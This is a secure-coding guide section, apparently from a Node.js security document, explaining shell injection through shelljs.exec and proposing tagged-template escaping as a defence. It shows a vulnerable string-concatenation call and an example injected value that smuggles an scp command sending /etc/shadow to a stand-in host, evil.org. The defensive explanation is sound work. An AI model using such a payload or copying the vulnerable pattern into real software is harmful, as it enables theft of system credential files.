Shell injection
Threats: SHP
The shelljs
module allows access to the system
shell. We focus on shelljs
, but similar arguments apply to builtins
like child_process.spawn(cmd, { shell: ... })
(docs) and
similar modules.
shelljs
has some nice programmatic APIs for common shell commands
that escape arguments.
It also provides shell.exec
which allows full access to the shell
including interpretation of shell meta characters.
Solving shell injection is a much harder problem than query injection since shell scripts tend to call other shell scripts, so properly escaping arguments to one script doesn't help if the script sloppily composes a sub-shell. The problem of tools that trust their inputs is not limited to shell scripts: see discussion of image decoders in BOF.
The shell grammar has more layers of interpretation so is arguably more complex than any one SQL grammar.
We can do much better than string concatenation though. The code below is vulnerable.
shelljs.exec("executable '" + x + "'")
If an attacker causes
x = " '; scp /etc/shadow evil@evil.org/; echo ' ";
then what gets passed to the shell is
executable ' '; scp /etc/shadow evil@evil.org/; echo ' '
Instead, consider:
shelljs.exec`executable ${x}`
shelljs.exec`executable '${x}'`
This use of tagged templates is roughly equivalent to
shelljs.exec(["executable ", ""], x)
shelljs.exec(["executable \'", "\'"], x)
This way, when control reaches shelljs
, it knows which strings came
from the developer: ["executable ", ""]
, and which are inline
expressions: x
. If shelljs
properly escapes the latter, it
prevents the breach above.
The accompanying example (code) includes a tag
implementation for sh
and bash
that recognizes complex nesting
semantics.
We can't, working within the confines of Node, prevent poorly written command line tools from breaking when exposed to untrusted inputs, but we can make sure that we preserve the developer's intent when they write code that invokes command line tools. For projects that have legitimate reasons for invoking sub-shells, consistently using template tags like this solves some problems and makes it more likely that effort spent hardening command line tools will yield fruit.